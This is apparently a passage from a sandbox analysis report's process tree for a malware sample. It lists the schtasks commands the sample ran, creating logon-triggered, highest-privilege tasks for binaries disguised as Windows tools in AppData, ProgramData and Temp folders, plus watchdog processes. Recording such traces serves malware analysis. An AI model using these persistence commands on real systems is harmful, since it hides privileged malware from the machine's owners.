  "cmd.exe" /c schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3448
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6000
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dtdump_3" /tr ""C:\ProgramData\MicrosoftService\dtdump.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4428
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dtdump_3" /tr ""C:\ProgramData\MicrosoftService\dtdump.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6536
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_proquota_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD212C.tmp\Logs\proquota.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5152
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_proquota_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD212C.tmp\Logs\proquota.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5180
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_netsh_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\netsh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6480
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_netsh_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\netsh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:904
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_whoami_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\whoami.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3300
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_whoami_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\whoami.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6852
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sdiagnhost_7" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\sdiagnhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:1952
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sdiagnhost_7" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\sdiagnhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1964
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cscript_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A76.tmp\Logs\UpdateCache\UpdateCache\cscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2292
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cscript_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A76.tmp\Logs\UpdateCache\UpdateCache\cscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2172
- C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\reg.exe
  "C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\reg.exe" --watchdog-slave
  2⤵
  PID:4976
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_1" /tr ""C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5952
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_1" /tr ""C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5600
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tttracer_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\tttracer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5812
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tttracer_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\tttracer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WerFaultSecure_3" /tr ""C:\ProgramData\MicrosoftService\WerFaultSecure.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:860
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WerFaultSecure_3" /tr ""C:\ProgramData\MicrosoftService\WerFaultSecure.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5652
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WSManHTTPConfig_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A04.tmp\Logs\UpdateCache\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5760
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WSManHTTPConfig_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A04.tmp\Logs\UpdateCache\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6992
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_netsh_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\netsh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2248
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_netsh_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\netsh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5828
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Netplwiz_6" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1E8E.tmp\Logs\UpdateCache\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1652
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Netplwiz_6" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1E8E.tmp\Logs\UpdateCache\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3836
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_printui_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\printui.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5944
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_printui_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\printui.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4152
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A52.tmp\Logs\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:6168
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A52.tmp\Logs\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3228
- C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\wscript.exe
  "C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\wscript.exe" --watchdog-slave
  2⤵
  PID:1476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_1" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:6956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_1" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4856
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_hdwwiz_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\hdwwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4004
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_hdwwiz_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\hdwwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6332
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WSManHTTPConfig_3" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UpdateCache\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WSManHTTPConfig_3" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UpdateCache\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4944
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fltMC_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1B8E.tmp\Logs\fltMC.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6492
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fltMC_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1B8E.tmp\Logs\fltMC.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4592
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_5" /tr ""C:\Users\Admin\AppData\Roaming\FindFormat\Logs\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1524
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_5" /tr ""C:\Users\Admin\AppData\Roaming\FindFormat\Logs\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4616
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ipconfig_6" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\ipconfig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3744
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ipconfig_6" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\ipconfig.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5940
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dplaysvr_7" /tr ""C:\ProgramData\MicrosoftService\dplaysvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4864
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dplaysvr_7" /tr ""C:\ProgramData\MicrosoftService\dplaysvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6784
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_makecab_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1D3C.tmp\Logs\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:704
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_makecab_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1D3C.tmp\Logs\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5272
- C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\mfpmp.exe
  "C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\mfpmp.exe" --watchdog-slave
  2⤵
  PID:5616
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_1" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3336
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_1" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRepair\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5352
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontdrvhost_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4564
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontdrvhost_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6060
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_winver_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\winver.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6896
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_winver_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\winver.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4076
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_unregmp2_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1EEE.tmp\Logs\UpdateCache\UpdateCache\unregmp2.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5048
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_unregmp2_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1EEE.tmp\Logs\UpdateCache\UpdateCache\unregmp2.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_netsh_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\netsh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6096
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_netsh_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\netsh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5228
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Dism_6" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\UpdateCache\Dism.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3696
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Dism_6" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\UpdateCache\Dism.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:456
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RunLegacyCPLElevated_7" /tr ""C:\ProgramData\MicrosoftService\RunLegacyCPLElevated.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4332
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RunLegacyCPLElevated_7" /tr ""C:\ProgramData\MicrosoftService\RunLegacyCPLElevated.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2932
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ComputerDefaults_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A39.tmp\Logs\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4596
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ComputerDefaults_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A39.tmp\Logs\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6972
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_netsh_1" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\netsh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4252
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_netsh_1" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\netsh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:212
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Dism_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\UpdateCache\Dism.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3128
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Dism_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\UpdateCache\Dism.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4336
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PackagedCWALauncher_3" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\UpdateCache\PackagedCWALauncher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4960
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PackagedCWALauncher_3" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\UpdateCache\PackagedCWALauncher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5028
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fixmapi_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1DEC.tmp\Logs\UpdateCache\fixmapi.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5112
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fixmapi_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1DEC.tmp\Logs\UpdateCache\fixmapi.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6688
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PasswordOnWakeSettingFlyout_5" /tr ""C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4560
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PasswordOnWakeSettingFlyout_5" /tr ""C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2988
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ReAgentc_6" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2776
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ReAgentc_6" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5308
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PackagedCWALauncher_7" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\PackagedCWALauncher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2240
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PackagedCWALauncher_7" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\PackagedCWALauncher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4420
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ARP_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A22.tmp\Logs\UpdateCache\ARP.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4308
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ARP_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A22.tmp\Logs\UpdateCache\ARP.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5948
- C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\netsh.exe
  "C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\netsh.exe" --watchdog-slave
  2⤵
  PID:2004
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cmdl32_1" /tr ""C:\Users\Admin\AppData\Roaming\InitializeJoin\Logs\cmdl32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4976
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cmdl32_1" /tr ""C:\Users\Admin\AppData\Roaming\InitializeJoin\Logs\cmdl32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5908
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dccw_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3364
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dccw_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WSManHTTPConfig_3" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UpdateCache\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7148
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WSManHTTPConfig_3" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UpdateCache\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3416
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_odbcconf_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD19EE.tmp\Logs\UpdateCache\odbcconf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_odbcconf_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD19EE.tmp\Logs\UpdateCache\odbcconf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3568
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msra_5" /tr ""C:\Users\Admin\AppData\Roaming\UseRemove\Logs\UpdateCache\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5832
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msra_5" /tr ""C:\Users\Admin\AppData\Roaming\UseRemove\Logs\UpdateCache\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6364
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_whoami_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\whoami.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3120
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_whoami_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\whoami.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6776
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_doskey_7" /tr ""C:\ProgramData\MicrosoftService\doskey.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1964
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_doskey_7" /tr ""C:\ProgramData\MicrosoftService\doskey.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6828
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_MRINFO_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A03.tmp\Logs\MRINFO.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_MRINFO_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A03.tmp\Logs\MRINFO.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2264
- C:\Users\Admin\AppData\Roaming\InitializeJoin\Logs\cmdl32.exe
  "C:\Users\Admin\AppData\Roaming\InitializeJoin\Logs\cmdl32.exe" --watchdog-slave
  2⤵
  PID:1148
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PasswordOnWakeSettingFlyout_1" /tr ""C:\Users\Admin\AppData\Roaming\SetProtect\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4488
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PasswordOnWakeSettingFlyout_1" /tr ""C:\Users\Admin\AppData\Roaming\SetProtect\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:748
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_NETSTAT_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\NETSTAT.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6992
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_NETSTAT_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\NETSTAT.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6256
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_certutil_3" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\UpdateCache\certutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6432
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_certutil_3" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\UpdateCache\certutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_netiougc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A05.tmp\Logs\UpdateCache\UpdateCache\netiougc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6324
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_netiougc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A05.tmp\Logs\UpdateCache\UpdateCache\netiougc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_5" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\UpdateCache\UpdateCache\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3672
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_5" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\UpdateCache\UpdateCache\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ddodiag_6" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5472
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ddodiag_6" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
